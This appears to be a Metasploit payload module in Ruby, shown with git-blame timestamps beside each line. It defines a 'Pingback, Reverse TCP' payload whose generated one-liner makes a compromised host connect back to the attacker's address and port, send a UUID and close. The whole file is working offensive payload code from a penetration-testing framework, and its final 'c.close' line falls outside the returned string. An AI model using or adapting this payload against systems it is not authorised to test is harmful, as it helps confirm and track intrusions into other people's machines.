2019-05-17 16:13:12 -05:00
|
|
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
|
|
2019-07-30 10:34:47 -05:00
|
|
|
CachedSize = 100
|
2019-05-17 16:13:12 -05:00
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
|
include Msf::Payload::Ruby
|
2019-07-26 13:52:36 -05:00
|
|
|
include Msf::Payload::Pingback
|
2019-07-18 15:44:20 -05:00
|
|
|
include Msf::Payload::Pingback::Options
|
2019-05-17 16:13:12 -05:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(merge_info(info,
|
|
|
|
|
'Name' => 'Ruby Pingback, Reverse TCP',
|
|
|
|
|
'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
|
|
|
|
|
'Author' => 'asoto-r7',
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => 'ruby',
|
|
|
|
|
'Arch' => ARCH_RUBY,
|
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
|
'Session' => Msf::Sessions::Pingback,
|
2019-07-26 14:51:44 -05:00
|
|
|
'PayloadType' => 'ruby'
|
2019-07-26 12:36:59 -05:00
|
|
|
))
|
2019-05-17 16:13:12 -05:00
|
|
|
end
|
|
|
|
|
|
2022-11-04 00:33:03 +00:00
|
|
|
def generate(_opts = {})
|
2019-07-26 12:36:59 -05:00
|
|
|
# return prepends(ruby_string)
|
2019-05-17 16:13:12 -05:00
|
|
|
return ruby_string
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def ruby_string
|
2019-07-29 11:55:51 -05:00
|
|
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
2019-05-17 16:13:12 -05:00
|
|
|
lhost = datastore['LHOST']
|
|
|
|
|
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
2019-07-30 10:32:31 -05:00
|
|
|
return "require'socket';" \
|
|
|
|
|
"c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \
|
|
|
|
|
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');"
|
2019-07-29 16:29:32 -05:00
|
|
|
"c.close"
|
2019-05-17 16:13:12 -05:00
|
|
|
end
|
|
|
|
|
end
|